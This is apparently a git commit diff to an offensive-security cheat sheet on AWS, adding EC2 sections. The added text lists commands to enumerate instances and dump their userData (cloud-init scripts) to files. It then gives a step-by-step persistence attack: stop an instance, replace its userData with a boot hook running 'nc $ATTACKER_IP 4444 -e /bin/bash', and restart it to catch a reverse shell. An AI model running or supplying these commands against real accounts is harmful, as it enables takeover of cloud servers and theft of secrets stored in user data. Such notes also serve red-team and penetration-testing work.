added more details about the EC2 connections
This commit is contained in:
parent
4032ccbcad
commit
1f86484039
|
@ -700,6 +700,27 @@ Deploy service instances of Virtual machines inside a VPC.
|
||||||
Deployment EC2 instances into 26 regions. Supports multiple OSs.
|
Deployment EC2 instances into 26 regions. Supports multiple OSs.
|
||||||
On-demand billing.
|
On-demand billing.
|
||||||
|
|
||||||
|
#### Enumerate EC2 Instances
|
||||||
|
|
||||||
|
List EC2 instances in the account via aws cli.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
aws ec2 describe-instances --query 'Reservations[*].Instances[*].Tags[?Key==`Name`].Value,InstanceId,State.Name,InstanceType,PublicIpAddress,PrivateIpAddress]' --profile PROFILENAME --output json
|
||||||
|
```
|
||||||
|
List all InstanceIds in the account via aws cli.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
list=$(aws ec2 describe-instances --region <region_name> --query Reservations[].Instances.InstanceId --output json --profile PROFILENAME) | jq .[] -r
|
||||||
|
```
|
||||||
|
|
||||||
|
Get user data like cloud-init scripts from the instances via aws cli.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
for i in $list;do
|
||||||
|
aws ec2 describe-instance-attribute --profile PROFILENAME --instance-id $i --attribute userData --output text --query UserData --region <region_name> | base64 -d | > $i-userdata.txt
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
#### Connect to an EC2 Instance
|
#### Connect to an EC2 Instance
|
||||||
|
|
||||||
Connect to the instance using SSH, RDP, SSM, serial console or webconsole.
|
Connect to the instance using SSH, RDP, SSM, serial console or webconsole.
|
||||||
|
@ -725,6 +746,42 @@ Instance Connect and the SSM Session Manager can be used to reset the root
|
||||||
password via `sudo passwd root`. After that it is possible to connect to the
|
password via `sudo passwd root`. After that it is possible to connect to the
|
||||||
root user, e.g. using serial console or just use `sudo su root` or `su root` directly.
|
root user, e.g. using serial console or just use `sudo su root` or `su root` directly.
|
||||||
|
|
||||||
|
##### Connect to an EC2 Instance Using a Reverse Shell
|
||||||
|
|
||||||
|
The InstanceId has to be known, watch [Enumerate EC2 Instances](#Enumerate-EC2-Instances) to get these IDs.
|
||||||
|
|
||||||
|
Stop the machine using the InstanceId through aws cli.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
aws ec2 stop-instances --profile PROFILENAME --instance-ids $INSTANCE_ID
|
||||||
|
```
|
||||||
|
|
||||||
|
Creat a cloud-init script which contains the reverse shell. The file should contain somethin like the following example, so it will executed at boot time.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
#cloud-boothook
|
||||||
|
#!/bin/bash -x
|
||||||
|
apt install -y netcat-traditional && nc $ATTACKER_IP 4444 -e /bin/bash
|
||||||
|
```
|
||||||
|
|
||||||
|
Encode the shellscript via base64.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
base64 rev.txt > rev.b64
|
||||||
|
```
|
||||||
|
|
||||||
|
Upload the encoded file to the stopped instance via aws cli.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
aws ec2 modify-instance-attribute --profile PROFILENAME --instance-id $INSTANCE_ID --attribute userData --value file://rev.b64
|
||||||
|
```
|
||||||
|
|
||||||
|
Start the instance with the uploaded file included via aws cli. Wait for the reverse shell to catch up.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
aws ec2 start-instances --profile PROFILENAME --instance-ids $INSTANCE_ID
|
||||||
|
```
|
||||||
|
|
||||||
#### EC2 and IAM
|
#### EC2 and IAM
|
||||||
|
|
||||||
EC2 instances can use nearly any other service provided by AWS.
|
EC2 instances can use nearly any other service provided by AWS.
|
||||||
|
@ -925,3 +982,4 @@ List available load-balancers via aws cli.
|
||||||
```sh
|
```sh
|
||||||
aws elbv2 describe-load-balancers --query Loadbalancers[].DNSName --output text
|
aws elbv2 describe-load-balancers --query Loadbalancers[].DNSName --output text
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue